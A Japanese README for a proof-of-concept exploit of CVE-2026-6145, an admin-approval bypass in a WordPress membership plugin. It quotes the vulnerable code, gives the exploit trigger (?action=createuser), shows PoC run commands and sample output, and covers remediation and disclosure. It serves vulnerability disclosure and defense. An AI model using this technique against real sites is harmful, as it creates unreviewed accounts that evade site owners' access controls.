CVE-2026-6145 — WordPress用User Registration & Membership: 未認証の管理者承認バイパス

CVE-2026-6145 の概念実証エクスプロイト。WordPress用 User Registration & Membership プラグイン（≤ 5.1.5）における認可欠落の脆弱性で、未認証の攻撃者が新規アカウント作成時の管理者承認要件をバイパスできるようにします。

概要

脆弱性の詳細

根本原因

includes/class-ur-user-approval.php の is_admin_creation_process() メソッドは、新しい登録を管理者主導の作成として扱うべきかどうかを決定する唯一のゲートです。このメソッドが true を返すと、次の2つの副作用が発生します:

• set_user_status() は新規ユーザーのステータスを APPROVED に設定し、承認待ちキューをスキップします。
• send_request_notification_to_admin() は新しい登録の管理者通知メールを抑制します。

このメソッド自体は、バージョン5.1.5では認証・認可・nonce検証を一切行いません:

// includes/class-ur-user-approval.php:459-461
protected function is_admin_creation_process() {
    return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );
}

$_REQUEST は $_GET、$_POST、$_COOKIE を統合するため、未認証の攻撃者は登録フォーム送信のURLに ?action=createuser を追加するだけでこのチェックを満たせます。プラグインはアカウントを自動承認し、管理者には一切通知されません。

攻撃チェーン

CVE-2026-6145 は is_admin_creation_process() の認可欠落に特化したものですが、厳格化された登録フォームに対する完全な未認証悪用には、同じプラグインバージョンの2つの付随的な問題との連鎖が必要です。同梱のPoCはこの両方を自動的に処理します:

結果: 新規登録に管理者承認を明示的に要求するサイト上で、管理者の操作も通知もなしに完全承認済みのユーザーアカウントが作成されます。

概念実証（PoC）

要件

• Python 3.8+
• requests ライブラリ
• User Registration & Membership ≤ 5.1.5 が動作するテスト対象:
  • 登録が有効
  • 管理者承認ログインオプションが有効
  • 登録フォームIDが既知であること（フォームのページソースに data-form-id として表示されます）

インストール

git clone https://github.com/<your-username>/CVE-2026-6145.git
cd CVE-2026-6145
pip install requests

使用方法

python3 poc_admin_approval_bypass.py <target_url> <form_id>

例:

python3 poc_admin_approval_bypass.py http://wp.example.lab 7

期待される出力

======================================================================
  User Registration v5.1.4 - Admin Approval Bypass PoC
  CVE: 2026-6145 | CWE-862
  Affects: User Registration & Membership <= 5.1.5
======================================================================

[*] Target:  http://wp.example.lab
[*] Form ID: 7

[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint
[+] SUCCESS: Got valid nonce for form 7: a1b2c3d4e5

[*] STEP 2: Registering user with admin approval bypass
    Username: poc_bypass_1747249200
    Email:    [email protected]
[+] Registration request processed (HTTP 200)

[*] STEP 3: Verifying user was created
[+] CONFIRMED: User 'poc_bypass_1747249200' exists in the database

======================================================================
  RESULTS
======================================================================
  Unauthenticated Nonce Generation:  CONFIRMED
  AJAX Nonce Bypass:                  CONFIRMED
  Admin Approval Bypass (CVE-...):    CONFIRMED

  [!] User was created with AUTO-APPROVED status
  [!] Admin was NOT notified of this registration
======================================================================

検証

PoC実行後、wp-admin にログインし、ユーザー → 全ユーザーを確認してください:

• 作成されたアカウントはステータス Approved（承認済み） で表示されます。
• 同じ期間中に通常のフォームから登録されたユーザーは Pending（保留中） のままです。
• 管理者通知メールボックスには、バイパスアカウントのメールは1通も届いていません。

影響

管理者承認を不要なアカウント作成に対する主要なゲートとして使用しているWordPressサイト（会員制サイト、クローズドコミュニティ、社内ポータル、B2Bプラットフォーム、アクセス前に本人確認を必要とするサイトなどで一般的）では、この脆弱性によりその制御が静かに無効化されます。具体的な影響は以下のとおりです:

• ビジネスロジックのアクセス制御のバイパス: 登録で制限されたコンテンツや機能（会員専用ページ、制限付きフォーラム、限定ダウンロード）が管理者の審査なしに利用可能になります。
• 不正・悪用対策の無効化: 管理者承認でスパム、偽造、不正な登録を排除していたサイトは、そのフィルターを完全に失います。
• ステルス的なアカウント作成: 管理者通知も抑制されるため、不正なアカウントは手動のユーザー監査まで検出されずに残り続けます。
• さらなる攻撃への足掛かり: 承認済みの低権限アカウントは、その後の権限昇格、コンテンツの悪用、同じサイトの他の認証必須脆弱性の悪用の足掛かりになります。

CVSSスコアは完全性のみの影響（データ機密性の直接的な喪失やサービス停止はなし）を反映していますが、実際の影響は、影響を受けるサイトが承認ワークフローをセキュリティ境界としてどの程度重視しているかに応じて拡大します。

影響を受けるバージョン

修復

サイト管理者向け

1. 直ちに更新して、User Registration & Membership の最新バージョン（> 5.1.5）にアップグレードしてください。
2. 脆弱なバージョンをインストールして以降に作成された、不審な承認済みアカウントがないか ユーザー → 全ユーザー を監査してください。対応する管理者通知メールがないアカウントに特に注意してください。
3. 特定された疑わしいアカウントについては、認証情報をローテーションし、アクティビティを確認してください。
4. すぐに更新できない場合は、一時的な緩和策としてWordPress設定で公開登録を無効化してください。

開発者向け / コードリファレンス

脆弱なメソッドには、権限チェックと有効なnonceの両方が必要です:

protected function is_admin_creation_process() {
    return current_user_can( 'create_users' )
        && isset( $_REQUEST['action'] )
        && 'createuser' === $_REQUEST['action']
        && isset( $_REQUEST['_wpnonce_create-user'] )
        && wp_verify_nonce(
               wp_unslash( $_REQUEST['_wpnonce_create-user'] ),
               'create-user'
           );
}

開示のタイムライン

参考情報

• Wordfenceアドバイザリ — CVE-2026-6145
• NVD — CVE-2026-6145
• CWE-862: 認可欠落
• WordPressプラグインリポジトリ — User Registration & Membership

同一プラグインの関連脆弱性

このプラグインの認可モデルを追跡している研究者は、以下にも関心があるかもしれません:

• CVE-2026-1492 — 未認証の権限昇格（≤ 5.1.2）
• CVE-2026-1779 — register_member による認証バイパス（≤ 5.1.2）
• CVE-2026-4056 — Content Access Rules REST APIにおけるアクセス制御の欠陥（5.0.1 – 5.1.4）
• CVE-2026-6203 — 未認証のオープンリダイレクト（≤ 5.1.4）

クレジット

研究、発見、PoC開発:

Anthony Cihan オフェンシブセキュリティリード — Obviam

本成果を参照する場合は、Anthony Cihan / Obviam への帰属を明記のうえ、CVE-2026-6145 として引用してください。

法的および倫理的注意事項

この概念実証は、防御的研究、検知エンジニアリング、および許可を得たセキュリティテストのみを目的として公開されています。以下を支援することを意図しています:

• パッチの適用状況を検証するWordPressサイト管理者
• 検知シグネチャとWAFルールを開発するセキュリティベンダー
• WordPressプラグインにおける認可制御パターンを研究する研究者
• 攻撃的および防御的セキュリティプログラムの教育者と学生

元の研究は、署名済み契約に基づく許可を得たラボ環境で実施され、公開前にWordfenceの責任ある開示プログラムを通じてベンダーへの調整済み開示が行われました。

あなたが所有していない、またはテストする明示的な書面による許可を得ていないシステムに対して本PoCを実行することは、米国コンピュータ詐欺及び濫用取締法（18 U.S.C. § 1030）、英国1990年コンピュータ濫用法、EU指令2013/40/EU、およびほとんどの法域における同等の法律の下で違法です。著者およびObviamは、本コードの誤用に対する一切の責任を負いません。

このリポジトリを使用することにより、お客様はこれらの条件を読み、理解し、受け入れたことを確認したものとみなされます。

ライセンス

MITライセンスの下で公開されています。上記のクレジットセクションに従い、帰属表示が必要です。